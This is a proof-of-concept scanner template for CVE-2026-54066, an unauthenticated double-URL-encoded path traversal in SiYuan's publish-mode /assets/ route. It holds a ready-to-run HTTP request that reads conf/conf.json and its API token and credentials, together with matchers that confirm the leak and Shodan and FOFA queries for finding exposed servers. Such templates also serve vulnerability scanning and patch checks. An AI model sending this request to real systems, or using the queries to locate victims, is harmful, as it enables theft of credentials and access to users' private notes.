SiYuan <= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.
PoC
id: CVE-2026-54066
info:
name: SiYuan <= 3.6.5 - Unauthenticated Path Traversal
author: 0x_Akoko
severity: high
description: |
SiYuan <= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.
impact: |
Unauthenticated attackers can read conf/conf.json exposing the API token, accessAuthCode SHA256 hash, and sync credentials, enabling full authenticated API access to all notebooks.
remediation: |
Update to SiYuan v3.7.0 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-54066
epss-score: 0.02386
epss-percentile: 0.83079
cwe-id: CWE-22
metadata:
verified: false
max-request: 1
vendor: siyuan-note
product: siyuan
shodan-query: port:6808 "SiYuan"
fofa-query: title="SiYuan" && port="6808"
tags: cve,cve2026,siyuan,path-traversal,lfi,unauth,publish-mode,disclosure,vkev
http:
- raw:
- |
GET /assets/%252e%252e/%252e%252e/conf/conf.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "accessAuthCode", "appearance", "editor", "system")'
condition: and
# digest: 4b0a00483046022100c54bac5e5034b4628dd609fb1826f1883132134f52b7ea4502571cf7d0cbc28f022100b8c8e14cb3c97ec02fc182d5364813573780f14203b98706d7079d800ae5e0a8:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.